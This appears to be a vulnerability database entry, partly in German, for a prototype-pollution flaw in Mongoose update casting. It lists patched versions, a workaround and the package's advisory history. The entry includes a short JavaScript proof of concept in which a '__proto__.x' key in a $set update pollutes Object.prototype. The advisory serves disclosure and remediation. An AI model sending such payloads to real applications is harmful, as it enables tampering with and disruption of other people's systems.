Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter)
Impact
What kind of vulnerability is it? Who is impacted?
Prototype pollution in update casting: passing a user-controlled update to a Mongoose update, like MyModel.updateOne(filter, req.body), can cause Mongoose to set $fullPath and $parentSchemaDocArray on Object.prototype.
Example:
const mongoose = require('mongoose');
console.log('before:', Object.prototype.$fullPath); // undefined
const User = mongoose.model('User', new mongoose.Schema({ name: String }));
const malicious = JSON.parse('{"$set": {"__proto__.x": "anything"}}'); // attacker-controlled update
const q = User.updateOne({}, {});
try { q._castUpdate(malicious); } catch (e) { /* throws AFTER the pollution side-effect */ }
console.log('after :', Object.prototype.$fullPath); // "__proto__"
console.log('enumerable:', Object.prototype.propertyIsEnumerable('$fullPath')); // true
console.log('fresh {}:', ({}).$fullPath); // "__proto__"
Patches
Has the problem been patched? What versions should users upgrade to?
9.7.2, 8.24.1. 7.8.10, 6.13.10
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
Check user-controlled updates for own __proto__ properties before passing to Mongoose
References
Are there any links users can visit to find out more?
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | mongoose | < 6.13.10, >= 7.0.0, < 7.8.10, >= 8.0.0, < 8.24.1, >= 9.0.0, < 9.7.2 | 6.13.10, 7.8.10, 8.24.1, 9.7.2 |
Verweise
- https://github.com/Automattic/mongoose/security/advisories/GHSA-664h-wqgq-64gw
- https://github.com/Automattic/mongoose/pull/16230
- https://github.com/Automattic/mongoose/commit/f494b8430f9097fc70446d6949c8a42a27518e0b
- https://github.com/Automattic/mongoose
- https://github.com/Automattic/mongoose/releases/tag/6.13.10
- https://github.com/Automattic/mongoose/releases/tag/7.8.10
- https://github.com/Automattic/mongoose/releases/tag/8.24.1
- https://github.com/Automattic/mongoose/releases/tag/9.7.2
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L- Schwäche (CWE)
CWE-1321- Plattform
- npm
- Paket
mongoose- Veröffentlicht
- 24.07.2026
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-664h-wqgq-64gw - CC BY 4.0
Schwachstellenhistorie: mongoose
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 9
- Erste → letzte
- 10.2019 07.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 4
- Hoch 3
- Mittel 2
Veröffentlichungen pro Jahr
- 2019: 1
- 2020: 1
- 2021: 0
- 2022: 2
- 2023: 1
- 2024: 1
- 2025: 1
- 2026: 2
-
Mongoose: Prototype pollution in mongoose update casting via __proto__-prefixed dotted path (Schema._getSchema/path getter) dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.